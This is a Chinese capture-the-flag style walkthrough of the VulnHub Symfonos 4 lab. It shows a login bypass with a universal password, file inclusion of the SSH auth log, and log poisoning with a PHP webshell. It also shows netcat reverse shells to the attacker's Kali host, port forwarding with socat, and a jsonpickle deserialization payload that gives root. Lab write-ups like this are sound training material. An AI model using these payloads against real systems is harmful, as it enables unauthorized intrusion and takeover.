靶场环境为内网地址
靶机:172.168.20.133
靶场镜像:https://www.vulnhub.com/entry/symfonos-4,347/
kali:172.168.20.110
1、打开靶场浏览器访问靶场IP地址
2、扫描目录
使用kali自带目录扫描工具进行目录扫描
dirb http://172.168.20.133/ /usr/share/dirb/wordlists/big.txt -X .php
发现一个php的登陆页面
3、访问atlantis.php页面
使用万能密码绕过登录界面
4.发现文件包含,尝试包含ssh日志文件
#Linux中的登录日志在/var/log/auth.log中
http://172.168.20.133/sea.php?file=../../../../var/log/auth
5、尝试ssh投毒、让ssh登录日志去记录webshell
ssh '<?php system($_GET[mmm])?>'@172.168.20.133
第一次登录会下发私钥,选择yes即可
6、继续包含auth.log日志,发现可以正常命令执行
7、反弹shell给kali
#kali开启监听
nc -nlvp 555
#执行以下payload
http://172.168.20.133/sea.php?file=../../../../var/log/auth&mmm=nc -nv 172.168.20.110 555 -e /bin/bash
8、发现是一个不完整的shell,可以用python获得/bin/bash中的shell
python -c 'import pty; pty.spawn("/bin/bash")'
9、查看本地开放的端口
ss -tulpn
10、使用socat代理本地的端口
socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080
11、访问该地址7000端口
12、使用burp拦截,发现base64,试着decode
13、发现是json
参考https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/
调用python对象
{“py/object”: “main.Shell”, “py/reduce”: [{“py/type”: “subprocess.Popen”}, {“py/tuple”: [“whoami”]}, null, null, null]}
14、调用python执行系统函数、写入反弹shell到kali
修改参数:
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["nc -nv 172.168.20.110 888 -e /bin/bash"]}, null, null, null]}
15.1、encode
15.2、kali开始监听
nc -nlvp 888
15.3、替换base64
15.4、burp放包
16、成功反弹shell,当前权限为root、得到flag
刚开始学习漏洞原理,纯属小白,欢迎指正
参考链接:
https://pentesterjourney.com/2019/10/04/vulnhub-symfonos-4-walkthrough/
[https://www.youtube.com/watch?v=gkIvUJUhan8]
(https://www.youtube.com/watch?v=gkIvUJUhan8)